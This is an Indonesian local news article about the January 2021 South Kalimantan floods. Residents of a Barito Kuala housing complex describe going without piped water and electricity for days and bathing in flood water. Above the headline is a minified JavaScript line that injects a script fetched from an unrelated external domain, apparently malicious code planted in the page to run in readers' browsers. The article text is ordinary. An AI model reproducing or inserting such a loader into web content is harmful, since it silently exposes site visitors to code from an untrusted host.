(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

PLN dan PDAM Tak Bisa Diakses Warga Handil Bhakti, Mandi dan Cuci Baju Pakai Air Banjir

KANALKALIMANTAN.COM, MARABAHAN – Musibah banjir Kalsel berdampak pada banyak sektor. Termasuk dirasakan warga Komplek Persada Permai Baru, Desa Semangat Dalam, Kecamatan Alalak, Kabupaten Barito Kuala.

Dari pantauan kanalkalimantan.com, terlihat genangan air masih menggenang di ruas-ruas jalan kompleks tersebut. Biar pun debit air sudah mulai turun, namun genangan air masih menghambat aktivitas warga.

“Ya semuanya jadi serba susah saat banjir seperti ini, kerja gak bisa, tidur saja tak tenang karena sambil jaga-jaga takutnya air kembali naik,” ujar Muhammad Ahyat (56), selaku Ketua RT 52 saat diwawancara Kanalkalimantan.com, Sabtu (23/01/2021).

Selain genangan air yang menghambat aktivitas warga, mereka juga mengeluhkan air PDAM yang sudah mati kurang lebih selama 10 hari. Sehingga membuat masyarakat susah mencari pasokan air bersih.

“Ya selain pasokan air bersih yang susah didapat, PLN juga mati di sini kurang lebih seminggu, jadi kita serba susah mau melakukan apa saja. Terlebih lagi malam, karena penerangannya sangat tidak memungkinkan,” tambah pria bekerja sebagai tukang angkut barang.

Kondisi demikian juga dibenarkan Mursidi (37). Salah satu warga kompleks Persada Permai Baru ini mengatakan ia akhirnya menggunakan air banjir untuk keperluan sehari. “Karena PDAM mati, terpaksa mandi, cuci pakaian maupun perlengkapan masak menggunakan air banjir. Ya kita semua berharap semoga banjir ini cepat berakhir, jadi semuanya kembali normal lagi,” harapnya. (Kanalkalimantan/Tius)

Reporter: Tius
Editor: Cell